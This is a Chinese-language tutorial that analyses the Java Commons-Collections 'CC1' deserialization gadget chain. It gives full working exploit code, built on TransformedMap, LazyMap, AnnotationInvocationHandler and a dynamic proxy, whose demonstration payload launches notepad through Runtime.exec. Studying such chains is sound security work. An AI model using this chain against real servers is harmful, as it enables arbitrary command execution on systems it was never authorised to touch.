原文链接：Java反序列化之CC1链分析 | 技术精选0142
本文约4000字，阅读约需9分钟。 可能之前看Java CC1链的文章时，那复杂的玩法给我留下了阴影，这篇文章自己迟迟没有动笔——毕竟有TransformedMap玩法，还有LazyMap玩法，最终还得借助AnnotationInvocationHandler或动态代理，看着就令人头大。 但我可以拖延，洞却不会等着我。自己如果不加快节奏，洞就要和我说再见了。 咬牙鼓劲，遂出此文。 1 CC 首先，还是先说下Commons-Collections吧。它的功能是为Java标准的Collections API提供了相当好的补充，对其常用的数据结构操作进行了很好的封装和抽象。保证性能的同时大大简化代码。 此包的类包含下面两个： Map Commons Collections在java.util.Map的基础上扩展了很多接口和类，比较有代表性的是BidiMap、MultiMap和LazyMap。跟Bag和Buffer类似，Commons Collections也提供了一个MapUtils。 所谓BidiMap，直译就是双向Map，可以通过key找到value，也可以通过value找到key，这在我们日常的代码-名称匹配的时候很方便：因为我们除了需要通过代码找到名称之外，往往也需要处理用户输入的名称，然后获取其代码。需要注意的是BidiMap当中不光key不能重复，value也不可以。 所谓MultiMap，就是说一个key不再是简单的指向一个对象，而是一组对象，add()和remove()的时候跟普通的Map无异，只是在get()时返回一个Collection，利用MultiMap，我们就可以很方便的往一个key上放数量不定的对象，也就实现了一对多。 所谓LazyMap，意思就是这个Map中的键/值对一开始并不存在，当被调用到时才创建。 Transformer 我们有时候需要将某个对象转换成另一个对象供另一组方法调用，而这两类对象的类型有可能并不是出于同一个继承体系的，或者说出了很基本的Object之外没有共同的父类，或者我们根本不关心他们是不是有其他继承关系，甚至就是同一个类的实例只是对我们而言无所谓，我们为了它能够被后续的调用者有意义的识别和处理，在这样的情形，我们就可以利用Transformer。除了基本的转型Transformer之外，Commons Collections还提供了Transformer链和带条件的Transformer，使得我们很方便的组装出有意义的转型逻辑。 重点要关注这两个类Map、Transformer。接下来包的问题，直接上maven仓库拉就好了： 最重要的一点：CC包版本需要为3.1-3.2.1，别看3.0和3.1只差个0.1，却可能导致弹不出记事本。我这次用的是3.1。 2 构造利用链 这一步建议使用jdk7，jdk8可能会出错。 InvokerTransformer 首先，来看反射机制触发函数InvokerTransformer类的transform(Object input)： public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) { this.iMethodName = methodName; //函数名 this.iParamTypes = paramTypes; //函数参数的类型 this.iArgs = args; //参数对象 } public Object transform(Object input) { Class cls = input.getClass(); //获取input的类 Method method = cls.getMethod(this.iMethodName, this.iParamTypes); //调用方法 return method.invoke(input, this.iArgs); //执行 } 通过Java反射机制，我们可以构造一个命令执行： public static void main(String[] args) throws Exception { //payload InvokerTransformer x = new InvokerTransformer( "exec", new Class[]{String.class}, new String[]{"notepad"}); //服务端 Object d = Class.forName("java.lang.Runtime") .getMethod("getRuntime") .invoke(Class.forName("java.lang.Runtime")); x.transform(d); } 但是，这似乎不太现实，服务端给咱专门来了个： Object d = Class.forName(“java.lang.Runtime”).getMethod(“getRuntime”).invoke(Class.forName(“java.lang.Runtime”)) 还得接着优化。 ChainedTransformer 接下来我们看这个类ChainedTransformer的transform函数： public Object transform(Object object) { for(int i = 0; i < this.iTransformers.length; ++i) { object = this.iTransformers.transform(object); } return object; } 由此函数可知，输入的对象会给第一个转化器，转换结果会被输入到第二个转换器，以此类推。 再看ChainedTransformer类的构造函数，发现iTransformers数组是用户自己定义的： public ChainedTransformer(Transformer[] transformers) { this.iTransformers = transformers; } 接下来我们构造一下，运行： public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new InvokerTransformer( "exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); //服务端 Object a = Class.forName("java.lang.Runtime") .getMethod("getRuntime") .invoke(Class.forName("java.lang.Runtime")); d.transform(a); } 看似和第一步没什么区别，但其实是在为后面做铺垫。 ConstantTransformer ConstantTransformer类与InvokkerTransformer一样，继承Transforme父类，可以进入数组。主要看该类的下面两个函数： public ConstantTransformer(Object constantToReturn) { this.iConstant = constantToReturn; } public Object transform(Object input) { return this.iConstant; } 在此对其修改，由于Runtime.getRuntime()实例已经放进payload里面，transform函数有无参数都不重要，因为ConstantTransformer类的transform函数会返会iConstant值，也就是最开始我们构造函数设置好的： public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.getRuntime()), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); //payload序列化写入文件，当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(d); //服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1); Transformer a = (ChainedTransformer) f2.readObject(); d.transform(null); } 这次之所以这样写，是因为前面的序列化和不序列化结果都一样，这次如果不序列化，看不出问题。 果然报错，Runtime类的定义没有继承Serializable类，是不支持反序列化的。 服务端生成Runtime实例 Runtime的实例是通过Runtime.getRuntime()来获取的，而InvokerTransformer里面的反射机制可以执行任意函数，我们让其执行getRuntime，从而使其成为实例。 把数组修改成如下： Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getRuntime",new Class[]{},new Object[]{}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; 结果报错了，跟踪一下： 由于是类缘故，所以input.getClass获取的是java.lang.Class。 调整一下，借用getMethod方法执行getRuntime。 Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; 跟踪到x[1]进去transform函数，发现获取的类还不是Runtime实例。 再对其调整： Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }), new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; 终于成功了。 其实是等同于反射语句： public static void main(String[] args) throws Exception { //x[0],object="" Class s = Class.forName("java.lang.Class"); //x[1],object="java.lang.Runtime" Object o = s.getMethod("getMethod", new Class[]{String.class, Class[].class}).invoke(Class.forName("java.lang.Runtime"), "getRuntime", new Class[0]); System.out.println(o + "\n\n"); //x[2],object="java.lang.Runtime.getRuntime()" s = o.getClass(); o = s.getMethod("invoke", new Class[]{Object.class, Object[].class}).invoke(o, null, new Object[0]); System.out.println(s + "\n" + o + "\n\n"); //x[3],object= Object o1 = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")); System.out.println(o1); } 可以看出，O和O1结果是一样的，但是服务端应该也不会执行。 Transformer a = (ChainedTransformer) f2.readObject(); d.transform(null); 还得继续优化。深思熟虑后，上Map。 这里有两种Map都可以实现，一种是TransformedMap，另一种LazyMap，ysoserial用的是第二种，下面我会分别聊这两种实现方法。 TransformedMap 首先，看下TransformedMap类，发现当该类在调用put函数时，会执行transform函数，最后的执行结果会被添加到Map里： public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap(map, keyTransformer, valueTransformer); } protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) { super(map); this.keyTransformer = keyTransformer; this.valueTransformer = valueTransformer; } protected Object transformKey(Object object) { return this.keyTransformer == null ? object : this.keyTransformer.transform(object); } protected Object transformValue(Object object) { return this.valueTransformer == null ? object : this.valueTransformer.transform(object); } public Object put(Object key, Object value) { key = this.transformKey(key); value = this.transformValue(value); return this.getMap().put(key, value); } 于是，我就尝试了一下： interface Test extends Transformer { public Object transform(Object input); } class Test1 implements Test, Transformer { public Object transform(Object input) { return "x"; } } class Test2 implements Test { public Object transform(Object input) { return "d"; } } public class cc1 { public static void main(String[] args) throws Exception { Map innerMap = new HashMap(); System.out.println(innerMap); Map map = TransformedMap.decorate(innerMap, new Test1(), new Test2()); map.put("value", "value"); System.out.println(map); } } 结果也是和我想象一样，Map输出为{x=d}。 借助这个类，我们修改一下，再尝试一次： public class cc1 { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); map.put("value", "value"); Map map1 = TransformedMap.decorate(map, null, d); //payload序列化写入文件，当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(map1); //服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1); Map map2 = (Map) f2.readObject(); map2.put("value", "1"); } } 这次就合理起来了。服务端执行Map应该问题不大。但是我们要追求完美，要让它只执行一个readObject就弹出记事本。 AnnotationInvocationHandler的readObject复写点 看看AnnotationInvocationHandler类下的readObject函数，发现在里面有赋值操作var5.setValue，不管它值是什么，总之只要赋值就能执行我们的命令： private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException { var1.defaultReadObject(); AnnotationType var2 = null; try { var2 = AnnotationType.getInstance(this.type); } catch (IllegalArgumentException var9) { throw new InvalidObjectException("Non-annotation type in annotation serial stream"); } Map var3 = var2.memberTypes(); Iterator var4 = this.memberValues.entrySet().iterator(); while(var4.hasNext()) { Entry var5 = (Entry)var4.next(); String var6 = (String)var5.getKey(); Class var7 = (Class)var3.get(var6); if (var7 != null) { Object var8 = var5.getValue(); if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) { var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6))); } } } } 顺势改下代码，由于AnnotationInvocationHandler类的构造函数的第一个参数继承Annotation，所以第一个变量可以在该包底选一个： public class cc1 { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); map.put("key", "key"); Map map1 = TransformedMap.decorate(map, null, d); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class); ct.setAccessible(true); Object o = ct.newInstance(Documented.class, map1); //payload序列化写入文件，当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(o); //服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1); f2.readObject(); } } 发现var3里面有一组Map数据，会把用户输入的Map数据的每一组key值在其var3寻找，有则不为空，进入判断则可执行。 LazyMap 看看LazyMap类，发现其get函数在获取key所对应的数据时，如果当key不存在，则调用transform函数，并把执行结果作为该key所对应的数据，并添加到到Map里面： public static Map decorate(Map map, Transformer factory) { return new LazyMap(map, factory); } protected LazyMap(Map map, Factory factory) { super(map); if (factory == null) { throw new IllegalArgumentException("Factory must not be null"); } else { this.factory = FactoryTransformer.getInstance(factory); } } public Object get(Object key) { if (!super.map.containsKey(key)) { Object value = this.factory.transform(key); super.map.put(key, value); return value; } else { return super.map.get(key); } } 用这个Map改的话，如下： public class cc1 { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); Map map1 = LazyMap.decorate(map, d); map1.get("key"); } } 不完美，还是不完美。 动态代理 我们看一段代码，运行发现，程序执行了invoke方法： class expHandler implements InvocationHandler { protected Map map; public expHandler(Map map) { this.map = map; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { if (method.getName().compareTo("put") == 0) { System.out.println("Hook Method: " + method.getName()); map.put("hi", "xd"); } return method.invoke(this.map, args); } } public class cc1 { public static void main(String[] args) throws Exception { InvocationHandler handler = new expHandler(new HashMap()); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); proxyMap.put("hi", "sir"); System.out.println(proxyMap); } 发现输出的结果是先去执行invoke，当匹配不到，则按正常执行。 AnnotationInvocationHandler类其实和InvocationHandler差不多里都有invoke，AnnotationInvocationHandler类下的invoke里面使用的get函数，所以从这里切入： public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } else if (var5.length != 0) { throw new AssertionError("Too many parameters for an annotation method"); } else { byte var7 = -1; switch(var4.hashCode()) { case -1776922004: if (var4.equals("toString")) { var7 = 0; } break; case 147696667: if (var4.equals("hashCode")) { var7 = 1; } break; case 1444986633: if (var4.equals("annotationType")) { var7 = 2; } } switch(var7) { case 0: return this.toStringImpl(); case 1: return this.hashCodeImpl(); case 2: return this.type; default: Object var6 = this.memberValues.get(var4); if (var6 == null) { throw new IncompleteAnnotationException(this.type, var4); } else if (var6 instanceof ExceptionProxy) { throw ((ExceptionProxy)var6).generateException(); } else { if (var6.getClass().isArray() && Array.getLength(var6) != 0) { var6 = this.cloneArray(var6); } return var6; } } } } 通过这些，我们修改代码： public class cc1 { public static void main(String[] args) throws Exception { //payload Transformer[] x = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}), new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"notepad"}) }; Transformer d = new ChainedTransformer(x); Map map = new HashMap(); Map map1 = LazyMap.decorate(map, d); Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor ct = cls.getDeclaredConstructor(Class.class, Map.class); ct.setAccessible(true); InvocationHandler handler = (InvocationHandler) ct.newInstance(Target.class, map1); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[]{Map.class}, handler); Object o = ct.newInstance(Target.class, proxyMap); //这样写也可handler = (InvocationHandler) ct.newInstance(Retention.class, proxyMap); //payload序列化写入文件，当作网络传输 FileOutputStream f = new FileOutputStream("payload.bin"); ObjectOutputStream fout = new ObjectOutputStream(f); fout.writeObject(o); //如果用的后面那种，则把o换成handler //服务端反序列化payload读取 FileInputStream f1 = new FileInputStream("payload.bin"); ObjectInputStream f2 = new ObjectInputStream(f1); f2.readObject(); } } 3 总结 相对来说，TransformedMap需要设定特定值，但是在最后一步的时候容易理解。而LazyMap前面不需要多难的技巧，但在后面动态代理时显得比较复杂。
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发表于 2022-8-25 09:43:15